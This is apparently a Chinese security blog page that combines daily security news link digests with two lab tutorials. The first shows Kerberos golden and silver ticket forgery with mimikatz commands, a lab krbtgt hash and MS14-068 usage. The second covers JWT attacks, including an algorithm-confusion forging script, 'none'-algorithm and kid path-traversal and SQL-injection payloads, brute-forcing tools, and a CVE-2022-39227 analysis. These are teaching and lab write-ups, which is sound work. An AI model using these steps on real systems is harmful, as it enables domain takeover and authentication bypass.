网络安全日报 2022年12月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、CISA 警告 Veeam Backup & Replication 漏洞在攻击中被利用
https://www.securityweek.com/cisa-warns-veeam-backup-replication-vulnerabilities-exploited-attacks 2、谷歌发布了Chrome 108更新修补高危内存安全漏洞
https://www.securityweek.com/high-severity-memory-safety-bugs-patched-latest-chrome-108-update 3、微软将 SPNEGO 扩展协商安全漏洞重新分类为“严重”
https://thehackernews.com/2022/12/microsoft-reclassifies-spnego-extended.html 4、黑客用超过 144000 个恶意软件包轰炸开源存储库
https://thehackernews.com/2022/12/hackers-bombard-open-source.html 5、安卓恶意软件仿冒放贷应用程序敲诈受害者
https://thehackernews.com/2022/12/android-malware-campaign-leverages.html 6、FBI的审查信息共享网络InfraGard遭黑客攻击
https://krebsonsecurity.com/2022/12/fbis-vetted-info-sharing-network-infragard-hacked/ 7、黑客使用SVG图像替代HTML Smuggling技术
https://blog.talosintelligence.com/html-smugglers-turn-to-svg-images/ 8、日本新版国家安全战略引入“主动网络防御”原则
https://www.secrss.com/articles/49993 9、美国政府机构发布关于 5G 网络切片威胁的指南
https://www.securityweek.com/us-government-agencies-issue-guidance-threats-5g-network-slicing 10、国际乓联泄露数百名运动员护照和疫苗接种证书
https://www.freebuf.com/news/352571.html
域0day-(CVE-2022-33679)容易利用吗
前言
最近twitter上关于CVE,应该是CVE-2022-33679比较火了,但是资料也是比较少,下面来唠唠吧。
kerberos认证原理
先了解几个概念
认证服务(Authentication server):简称AS,认证客户端身份提供认证服务。
域控服务器(Domain Control):即DC。
服务票据(Server Ticket):简称ST,在Kerberos认证中,客户端请求的服务通过ST票据认证。
票据授予服务(Ticket Granting server):简称TGS,颁发服务票据(server ticket)。
活动目录(Active Directory):简称AD,包含了域中所有的对象(用户,计算机,组等)
KDC密钥颁发中心(KDC):域控担任
特权属性证书(Privilege Attribute Certificate):简称PAC,所包含的是各种授权信息, 例如用户所属的用户组, 用户所具有的权限等。
下图为Kerberos的认证过程:
一个完整的认证流程基本上分为8个步骤
1.客户端用户向KDC发送请求,包含用户名,主机名和时间戳。AS接收请求
2.AS对客户端用户身份认证后给客户端返回票据授予票据
3.客户端使用TGT到票据分发服务(TGS)请求访问服务器A的服务票据(ST)
4.TGS给客户端分发ST
5.客户端使用ST请求服务器A
6.服务器A解密ST票据得到特权属性证书PAC,服务器A请求域控AD需确认用户权限
7.域控将PAC解密获取用户SID和用户权限的结果返回给服务器A
8.用户身份符合则进行第最后的返回信息,整个Kerberos认证结束。
黄金票据
原理:
Kerberos黄金票据是有效的TGT Kerberos票据,是由域Kerberos帐户加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。
相当于跳过上面图片中过的步骤一和步骤二,直接伪造TGT
实验
这里利用星海安全实验室的靶场环境
环境:192.168.10.10 域控DC 域:Starseaseclab.com 操作系统:win-server2012R2
域内主机:192.168.10.14 操作系统:win7
使用条件:
域管SID
域名
域控KRBTGT账号的HASHntlm(hash)
whoami /all
lsadump::dcsync /domain:starseaseclab.com /user:krbtgt
sid:S-1-5-21-1719736279-3906200060-616816393
htlm(hash):5e31f755b33b621bede0946b044908e4
domian:starseaseclab.com
域内主机win-7
privilege::debug
kerberos::purge //清空票据防止缓存影响
Kerberos::golden /user:administrator /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /krbtgt:5e31f755b33b621bede0946b044908e4 /ptt //伪造金票注入内存
白银票据
原理
黄金票据是伪造TGT,在kerberos认证中忽略前两步,白银票据就是直接伪造ST
whoami /all
sid: S-1-5-21-1719736279-3906200060-616816393
sekurlsa::logonpasswords
伪造票据
Kerberos::golden /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /target:win-dc.starseaseclab.com /service:cifs /rc4:161cff084477fe596a5db81874498a24 /user:user1 /ptt //伪造银票注入内存
利用MS14-068(CVE-2016-6324)
域内用户提升至域控
条件 :
域内用户名以及hash
sid值
域名
域控ip
ms-14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户sid -d 域控ip
kerberos::ptc "票据" //将票据注入内存
黄金票据和白银票据的区别
访问权限不同:
Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限
Silver Ticket:伪造TGS,只能访问指定的服务
加密方式不同:
Golden Ticket由Kerberos的Hash加密
Silver Ticket由服务账号(通常为计算机账户)Hash加密
认证流程不同:
Golden Ticket的利用过程需要访问域控,
Silver Ticket不需要
CVE-2022-33679
攻击的过程分为下面几个步骤
攻击者发送一个没有预授权的 AS-REQ 请求 RC4-MD4 密钥加密。如果用户不需要预授权,KDC 将发回一个 AS-REP,其中包含使用 RC4-MD4 加密的会话密钥等。
根据加密数据的长度,计算出加密密钥开始前的0x15字节,只要总长度就可以猜到。可能需要发送适当长的主机地址来填充 ASN1 编码数据,以便将密钥对齐到合适的位置。
根据计算出的ASN1数据和加密后的KDC-REP生成密钥流的前0x2D字节(密文中前0x18字节全为0)。
使用密钥流加密 PA-ENC-TIMESTAMP 预认证缓冲区,如果仅使用 KerberosTime,则大小将恰好为 0x15 字节,即带有初始填充的 0x2D。
在新的 AS-REQ 中发送加密的时间戳以验证密钥流是否正确。
如果将客户端和 KDC 降级为使用 RC4-MD4,攻击者可以让 KDC 使用 RC4-MD4 会话密钥作为初始 TGT,它只有 40 位的熵,并且在关联的票证过期之前实现暴力破解,可为该用户发出任意服务票证的 TGS 请求。
攻击图解
在请求TGT的第一阶段爆破第一个字节的图解
获取最后一个字节的过程图解
CVE提交者的POC显示已删除,github上披露的EXP已经没了。
项目下载地址:
https://github.com/GhostPack/Rubeus
需要重新编译一下,Rubeus的V2.1.2实际上也没找到历史发布版本,目前最新版本未V2.2.1
该版本无法使用cve-2022-33679伪造TGT。该漏洞就利用方式来说跟黄金票据有点儿类似,通过EXP绕过Kerberos认证协议中的第一和第二步骤,直接向TGS请求ST。
总结
资料还是有限,没有复现成功,但是就原理来说,结合Kerberos认证原理还是比较清晰。CVE-2022-33679的使用也是有使用条件,需要设置“不需要 Kerberos 预身份验证”用户帐户控制标志,并配置了 RC4 密钥。所以在利用手段上来讲应该是比较苛刻。(如有错误还请各位指出)
网络安全日报 2022年12月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、研究人员披露恶意驱动程序POORTRY
https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware 2、研究人员披露僵尸网络GoTrim暴力破解WordPress网站
https://www.fortinet.com/blog/threat-research/gotrim-go-based-botnet-actively-brute-forces-wordpress-websites 3、Xnspy应用程序监视了六万部安卓和苹果用户设备
https://techcrunch.com/2022/12/12/xnspy-stalkerware-iphone-android 4、研究人员披露Atlassian产品存在安全漏洞
https://cloudsek.com/security-flaw-in-atlassian-products-jira-confluencetrello-bitbucket-affecting-multiple-companies/ 5、研究人员展示了EDR和反病毒软件如何被用来对付用户
https://thehackernews.com/2022/12/researchers-demonstrate-how-edr-and.html 6、比利时安特卫普市上周遭受网络攻击
https://www.bleepingcomputer.com/news/security/play-ransomware-claims-attack-on-belgium-city-of-antwerp/ 7、印度外交部泄露外籍人士护照详细信息
https://cybernews.com/security/indias-foreign-ministry-leaks-passport-details/ 8、优步在供应商遭到攻击后遭遇新的数据泄露
https://www.bleepingcomputer.com/news/security/uber-suffers-new-data-breach-after-attack-on-vendor-info-leaked-online/ 9、Fortinet 敦促客户修复积极利用的 FortioSSL-VPN 漏洞
https://securityaffairs.co/wordpress/139569/hacking/fortinet-fortios-ssl-vpn-bug.html 10、攻击者失手,自己杀死了僵尸网络 KmsdBot
https://www.freebuf.com/articles/network/352252.html
网络安全日报 2022年12月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、VMware 修补了在 Geekpwn中被利用的虚拟机逃逸漏洞
https://www.securityweek.com/vmware-patches-vm-escape-flaw-exploited-geekpwn-event 2、新的基于 Python 的后门针对 VMware ESXi 服务器
https://www.securityweek.com/new-python-based-backdoor-targeting-vmware-esxi-servers 3、微软周二补丁日修补了Windows MOTW漏洞
https://www.securityweek.com/patch-tuesday-microsoft-plugs-windows-hole-exploited-ransomware-attacks 4、Lockbit 勒索软件团伙入侵了加州财政部
https://securityaffairs.co/wordpress/139599/cyber-crime/lockbit-ransomware-california-department-of-finance.html 5、谷歌推出最大的开源漏洞分布式数据库OSV-Scanner
https://thehackernews.com/2022/12/google-launches-largest-distributed.html 6、Amazon ECR Public Gallery 披露了一个严重的安全漏洞
https://thehackernews.com/2022/12/serious-attacks-could-have-been-staged.html 7、网络安全研究人员揭开破坏性 Azov 勒索软件的内部工作原理
https://thehackernews.com/2022/12/cybersecurity-experts-uncover-inner.html 8、工信部印发《工业和信息化领域数据安全管理办法 (试行)》
https://www.secrss.com/articles/50009 9、朝鲜黑客使用假身份诱骗西方智库专家为其撰写研究报告
https://www.secrss.com/articles/49998 10、国家能源局印发《电力行业网络安全管理办法》
https://www.secrss.com/articles/49968
浅析JWT Attack
前言
在2022祥云杯时遇到有关JWT的题,当时没有思路,对JWT进行学习后来对此进行简单总结,希望能对正在学习JWT的师傅们有所帮助。
JWT
JWT,即JSON WEB TOKEN,它是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范,是一种标准化的格式,用于在系统之间发送经过加密签名的JSON数据,理论上可以包含任何类型的数据,但最常用于发送关于用户的信息(“声明”),以进行身份认证、会话处理和访问控制。
简单了解了它的定义后,我们接下来来看一下JWT的组成部分它分为三个部分,如下所示
1、Headers:头部
2、Payload:有效载荷
3、Signature:签名
这三个部分以.符号来连接,所以JWT的格式通常是xxx.yyy.zzz这种样子
Headers
Headers通常由两部分组成,令牌的类型和签名算法,常见的算法有很多种,例如 HMAC SHA256或 RSA。但它也还有一个kid参数,这是一个可选参数,全称是key ID,它用于指定加密算法的密钥。
示例如下
ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9
这就是一个Headers,当我们对它进行Base64解码就可以看到它的具体内容,具体如下
{
"alg": "HS256",
"typ": "JWT"
}
alg指的就是算法,这里的算法就是HS256,typ指的是令牌类型。这里需要说明一点,就是明文在加密时其实采用的是Base64URL加密,这种加密方式并非Base64encode+URLencode,而是对一些特殊字符进行了替换,具体说明如下
JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。这就是 Base64URL 算法。
Payload
有效载荷就是存放有效信息的地方,其中包含声明。声明包含三个部分 1、已注册声明这个部分的话就是已经预先定义过的声明,常见的声明主要有以下几种
iss: jwt签发者
sub: jwt所面向的用户
aud: 接收jwt的一方
exp: jwt的过期时间,这个过期时间必须要大于签发时间
nbf: 定义在什么时间之前,该jwt都是不可用的.
iat: jwt的签发时间
jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。
2、公共的声明这些可以由使用 JWT 的人随意定义,一般用于添加用户的相关信息或其他业务需要的必要信息。但不建议添加敏感信息,因为该部分在客户端可进行解码.3、私有的声明这些是为在同意使用它们的各方之间共享信息而创建的自定义声明,私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息。
示例如下
ewoJInN1YiI6ICJhZG1pbiIsCiAgICAidXNlcl9yb2xlIiA6ICJhZG1pbiIsCiAgICAiaXNzIjogImFkbWluIiwKICAgICJpYXQiOiAxNTczNDQwNTgyLAogICAgImV4cCI6IDE1NzM5NDAyNjcsIAogICAgIm5iZiI6IDE1NzM0NDA1ODIsIAogICAgImp0aSI6ICJkZmY0MjE0MTIxZTgzMDU3NjU1ZTEwYmQ5NzUxZDY1NyIgICAKfQ
进行base64URL解码,结果如下
{
"sub": "admin", //jwt所面向的用户
"user_role" : "admin", //当前登录用户
"iss": "admin", //该JWT的签发者,有些是URL
"iat": 1573440582, //签发时间
"exp": 1573940267, //过期时间
"nbf": 1573440582, //该时间之前不接收处理该Token
"jti": "dff4214121e83057655e10bd9751d657" //Token唯一标识
}
Signature
由于头部和有效载荷以明文形式存储,因此,需要使用签名来防止数据被篡改。所以这部分是一个签证信息,这个签证信息由三部分组成
1、header (base64URL编码)
2、payload (base64URL编码)
3、secret(密钥)
它的计算方式如下
Signature=HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)
//假设这里是HS256算法,如果是其他算法的话开头设置为其他算法即可
现在了解了JWT的大致作用和其组成,接下来来学习一下JWT攻击。
JWT 攻击
JWT攻击有多种情况,现在来对其进行逐一讲解。
敏感信息泄露
JWT保证的是数据传输过程中的完整性而不是机密性。
因为JWT的payload部分是使用Base64url编码的,所以它其实是相当于明文传输的,当payload中携带了敏感信息时,我们对payload部分进行Base64url解码,就可以读取到payload中携带的敏感信息。
靶场演示
题目链接https://www.ctfhub.com/#/skilltree题目描述如下
JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。试着找出FLAG。格式为 flag{}
进入环境后发现一个登录框
随便输入账号密码,登录后发现界面如下
查看此时的JWT
想到题目中说头部和载荷可能会有敏感泄露,将值取出分别进行Base64URL解码
两处拼接一下,得到ctfhub{bb89d985db8cea6a2f2d34cb}
算法修改攻击
首先来简述一下JWT中两个常用的加密算法
HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
从上面不难看出,HS256自始至终只有一个密钥,而RS256是有两个密钥的。在通常情况下,HS256的密钥我们是不能取到的,RS256的密钥也是很难获得的,RS256的的公钥相对较容易获取,但无论是HS256加密还是RS256加密,都是无法实现伪造JWT的,但当我们修改RSA256算法为HS256算法时,后端代码会使用公钥作为密钥,然后用HS256算法验证签名,如果我们此时有公钥,那么此时我们就可与实现JWT的伪造。
靶场演示
题目链接https://www.ctfhub.com/#/skilltree
题目描述
有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。
进入环境后发现题目代码
class JWTHelper {
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
?>
简单的看一下,大致意思就是当以用户名为admin,密码不是$flag时,此时登录后JWT中payload的role是guest,而只有当role为admin时才能够得到Flag,所以我们这里肯定是需要伪造JWT的,我们先以admin为用户名,随便输入密码登录一下此时得到JWT,将其拿去解密网站https://jwt.io解密一下
发现加密方式是RS256非对称加密,想到在登录时,下方给出了公钥
所以这里就可以尝试更改算法为HS256,以公钥作为密钥来进行签名和验证,因此我们构造一个伪造JWT的脚本,内容如下
import jwt
import base64
public ="""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqizf1rnxqfeyCAp52TQO
3uEyeB1HzqqbO8FBHWqLlhgmyPFqaopXVhZryzP+Sd6a3iQd8xeD7URswPHE4roA
kbI1GMta9zAdD1yPtp//JNZ55hx1iFY2n9gw2u8VL64n9sCc56H46L3W52Z37kvW
q5LuoLAuyJpP7Ofadt7biWaeXibZGQjPwlbCy31DyxdDFCt8pVrajVI97w3amHBU
Xhd0Ku+DOq9hjadtQbTkbIkAUR84yqt+25EXd/rg1w8we9ysNcTjAeUayRGPuQmX
UWJaFpsvuL7WeUb2xJqvieFwsCQppS1ZgaoRc0F835K+G3s3qWRi4AnvZxryfTzl
awIDAQAB
-----END PUBLIC KEY-----
"""
payload={ "username": "admin","role": "admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))
此时运行完后发现报错
这个是因为源代码中进行了校验,我们简单设置一下即可,源代码文件地址如下
/usr/lib/python3/dist-packages/jwt/algorithms.py
我们在它的校验前面增加这样一句话
invalid_strings=[]
此时保存退出,再运行文件即可得到新JWT
将新的JWT拿到网站中替换旧的JWT,刷新网站即可得到flag
未验证签名
当用户端提交请求给应用程序,服务端可能没有对token签名进行校验,这样,攻击者便可以通过提供无效签名简单地绕过安全机制,此时就造成了越权漏洞的出现。假设现有payload如下
{
"iat": 1668871293,
"exp": 1668878493,
"nbf": 1668871293,
"sub": "quan9i",
}
这里的quan9i是普通用户,按理说的话它是无法访问到管理员的界面的,但由于这里的签名是没有验证的,当我们修改payload时,这个JWT仍然有效,所以我们修改payload如下
{
"iat": 1668871293,
"exp": 1668878493,
"nbf": 1668871293,
"sub": "admin",
}
此时就垂直越权,变成了管理员用户,可以访问管理员的界面。
靶场演示
题目环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature题目描述
本实验使用基于 JWT 的机制来处理会话。由于实施缺陷,服务器不会验证它收到的任何 JWT 的签名。
题目要求
要解决实验室问题,请修改您的会话令牌以获取对管理面板的访问权限/admin,然后删除用户carlos。
题目条件
您可以使用以下凭据登录到您自己的帐户:wiener:peter
打开环境后发现Cookie中没什么东西,但想到题目给出了账号,那就先找登录点,发现有个My account
点击查看,发现是登录界面,将刚刚题目条件中所给的用户名和密码放入
此时查看cookie
具体内容为
eyJraWQiOiIxYmE5NjA0Ny0wNjBiLTQ0MTAtODg1NC01YWYxYTQ2ZTljYWEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTI5NzgxMH0.JMb3Ttl7WLoVrTfcEq03VIafh7zDMu5_nhMtPc3qnhgENSl1WbMAMFfeTa-v0jS69A13W-J3_ccslHu25OW_SRPAq2GuAUoFfEGtthnP-PaDWFN2_UIIcaeAx8rj8bNy65apX37EnTx-sPo274X
对第一个.后和第二个.之前的内容进行解码(此部分内容为有效载荷)得到
{"iss":"portswigger","sub":"wiener","exp":1669297810}
题目提示了这里不校验签名,所以我们修改payload如下
{"iss":"portswigger","sub":"administrator","exp":1669297810}
再对其进行Base64URL编码,替换掉原来的payload,此时就得到了新的JWT,将新的JWT放入session中,重新访问此界面,发现多了一个功能点
发现可以删除用户
任务完成。
空加密算法
这里需要先介绍一些利用的知识点
将signature置空。利用node的jsonwentoken库已知缺陷:当jwt的signature为null或undefined时,jsonwebtoken会采用algorithm为none进行验证
JWT支持使用空加密算法,可以在header中指定alg为none,此时只要把signature设置为空,提交到服务器,任何token都可以通过服务器的验证。
假设现有JWT(解码后的,无signature的)如下
{
"alg" : "Hs256",
"typ" : "jwt"
}
{
"user" : "quan9i"
}
这里我们指定alg为None,修改Payload中的user为admin,如下所示
{
"alg" : "None",
"typ" : "jwt"
}
{
"user" : "admin"
}
此时再进行Base64URL编码,就可以实现越权,得到管理员才可以访问的界面。
靶场演示
靶场环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification题目描述
本实验使用基于 JWT 的机制来处理会话。服务器未安全地配置为接受未签名的 JWT。
题目要求
要解决实验室问题,请修改您的会话令牌以获取对管理面板的访问权限/admin,然后删除用户carlos。
题目条件
您可以使用以下凭据登录到您自己的帐户:wiener:peter
进入环境后先去登录
得到JWT,题目提示了接受未签名的JWT,所以将第二个点后的内容直接删除,而后再对前面内容进行Base64解码
{"kid":"16adc077-c753-4bbe-a9df-46688c01ac46","alg":"RS256"}.{"iss":"portswigger","sub":"wiener","exp":1669304815}.
修改headers中的alg为none,修改payload中的sub为administrator,然后分别进行Base64URL编码,即可得到新的JWT,在网站中对JWT进行替换,接下来再次访问此网站,发现新功能点。
点进去发现有删除用户的功能
任务完成。
爆破密钥
这个的话其实就是使用工具来对密钥进行爆破,从而实现越权。这个的话在参考过其他师傅的文章后发现是有一些条件的,具体如下所示
1、JWT使用的加密算法是HS256加密算法
2、一段有效的、已签名的token
3、签名用的密钥不复杂(弱密钥)
然后这里还需要介绍一下爆破密钥用的工具,链接如下https://github.com/brendan-rius/c-jwt-cracker安装方式如下所示
1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载
2、make #编译
使用方式如下
./jwtcrack JWT
这是一个,还有一个爆破工具,可以引用字典,链接如下https://github.com/Sjord/jwtcrack安装方式如下所示
1、git clone https://github.com/Sjord/jwtcrack
2、pip install PyJWT tqdm
它的使用方式如下
python3 crackjwt.py JWT dictionary.txt //字典文件是自己写入的
靶场演示
题目描述
本实验使用基于 JWT 的机制来处理会话。它使用极弱的密钥来签署和验证令牌。这可以很容易地使用一个包含常见secret的单词表来暴力破解。
题目要求
要解决实验室问题,请首先暴力破解网站的密钥。获得此后,使用它签署修改后的会话令牌,使您可以访问管理面板/admin,然后删除用户carlos
题目条件
您可以使用以下凭据登录到您自己的帐户:wiener:peter
进入环境后,依旧是先登录获取当前JWT
因为题目已经提示了这里用的是暴力破解,所以我们用刚刚提到的工具,来爆破一下密钥
./jwtcrack eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE
这里爆破多次均未得到密钥,所以我们选择换另一个工具,自己找个字典来进行爆破字典链接https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list接下来使用工具指定字典来进行爆破
python3 crackjwt.py eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE dictionary.txt
得到密钥为secret1进入解码网站https://jwt.io,对jwt进行解码
修改payload中的sub为administrator,再在下方写入密钥secret1,生成新JWT
拿到网站中替换原JWT,发现新功能点
访问后发现可以删除用户
任务完成。
Kid参数注入
前文在简述Headers提到,它还有一个可选参数kid,当Headers中存在这个参数时,我们可以通过修改这个参数实现目录遍历、SQL注入等攻击
#目录遍历
{
"kid" : "/etc/passwd"
}
Kid参数的逻辑是类似于sql="select * from table where kid=$kid"这种,所以它是存在SQL注入漏洞的,示例如下
#sql注入
{
"kid" : "0 union select 123"
}
此时它的Kid就被我们恶意篡改为123,此时就相当于拿到了Key,可以伪造JWT,实现越权。
靶场演示
靶场地址https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal题目描述
本实验使用基于 JWT 的机制来处理会话。为了验证签名,服务器使用JWTkid标头中的参数从其文件系统中获取相关密钥
题目要求
要解决实验室问题,请伪造一个 JWT,使您可以访问管理面板/admin,然后删除用户carlos。
题目条件
您可以使用以下凭据登录到您自己的帐户:wiener:peter
进入环境后,登录获取JWT安装插件
安装后选择New Symmetric Key,生成一个Key
接下来修改K参数为AA==,点击确认抓靶场的包
点击下面的sign
将此时的JWT去替换网站的JWT,再刷新网站
成功越权
简单说一下这里的原理:这里其实就是利用了kid的目录遍历攻击,我们将kid参数指向标准文件/dev/null,此时我们再利用bp的工具设置一个空的签名密钥,就实现了越权,成功得到管理员权限。
同时,这个Kid是Headers的一部分,Headers其实还有两个不常用的参数,即Jwk和Jku,这两个的话也是存在漏洞的,他们的攻击方式同Kid是较为相似的,所以这里不再去演示如何攻击。靶场环境如下,有兴趣的师傅可以看看。https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injectionhttps://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-inject
JWT攻击实例
CVE-2022-39227
这个的话并没有给出具体的POC,但是官方在commit中最下方给出了测试代码https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9#diff-f3fb6499354e6fd16cb955d1f54138fa3481148f3f095467958b60b3835f3a50具体代码如下所示
""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
@Vows.batch
class ForgedClaims(Vows.Context):
""" Check we get an error when payload is forged using mix of compact and JSON formats """
def topic(self):
""" Generate token """
payload = {'sub': 'alice'}
return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context):
""" Make a forged token """
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['sub'] = 'bob'
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
class Verify(Vows.Context):
""" Check the forged token fails to verify """
@Vows.capture_error
def topic(self, topic):
""" Verify the forged token """
return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
def token_should_not_verify(self, r):
""" Check the token doesn't verify due to mixed format being detected """
expect(r).to_be_an_error()
expect(str(r)).to_equal('invalid JWT format')
重点在中间部分,也就是这里
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['sub'] = 'bob'
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
可以看到这里的话首先是对JWT进行了拆分,我们知道JWT的格式是xxx.yyy.zzz,这个以.来分离,那就是把三部分拆分开来,分别赋值给了header、payload和signature,接下来将进行了base64URL以及json解码的payload赋值给了parsed_payload,而后将新内容sub=bob以及exp=2000000000放入了parsed_payload中,将进行过Base64编码和json编码的parsed_payload赋值给了fake_payload,最终生成的JWT格式如下
{" header.fake_payload.":"","protected":"header", "payload":"payload","signature":"signature"}
此时就完成了JWT的伪造。
那么这个漏洞是如何产生的呢?接下来我们看一下源文件。查看python_jwt/__init__.py文件
首先看到 header, claims, _ = jwt.split('.'),它按.进行拆分,如何分别将三部分赋值给headers,claims以及_。接下来就是对头部进行解码,而后检验头部算法,后面也是校验属性的,接下来走到JWS这里
if pub_key: #验证是否传入密钥
token = JWS()
token.allowed_algs = allowed_algs
token.deserialize(jwt, pub_key) # 传入整个用户的JWT,JWS对JWT进行反序列化处理
parsed_claims = json_decode(token.payload) # JWS对传入部分进行json解码
跟进反序列化,看它是怎么做的
这里的话就是首先尝试对传入的JWT进行解析,我们知道这里传入的是完整的原始JWT,而非拆分后的某个部分,JWT的格式是xxx.yyy.zzz这种,而json能解析的是{"a":1,"b":2,"c":3,"d":4,"e":5}这种格式的,所以它无疑会走向except ValueError这里,然后它对值进行拆分,分别赋给protected、payload和signature,然后就将o赋值给了self.objects,这里的话还有一个verify(key,alg)函数,我们跟进一下
这里可以看到它其实是对JWT的各部分内容进行了一个检验,它这里检验的是原来的完整的JWT,所以这个肯定是没有问题的,这个验证肯定是可以通过的。
我们此时回到__init__.py
发现这里在校验过后,后面都没有再用到token这个,后面是对header和claims中的一些参数进行校验,然后将parsed_header和parsed_claims值返回了。这里就是问题所在, 在对整个JWT进行校验过后,没有返回校验过的数据,而是返回一开始进行点分过后的数据。
我们的恶意payload如下所示
此时拆分后他一直在校验的是后面的灰色部分,这部分是原始的JWT,校验肯定是可以通过的,而我们最终返回的数据是前面的forged_payload,所以无论前面怎么添加,怎么替换,校验都是可以通过的。此时你再去看官方给出的测试代码就可以理解它的思路了。
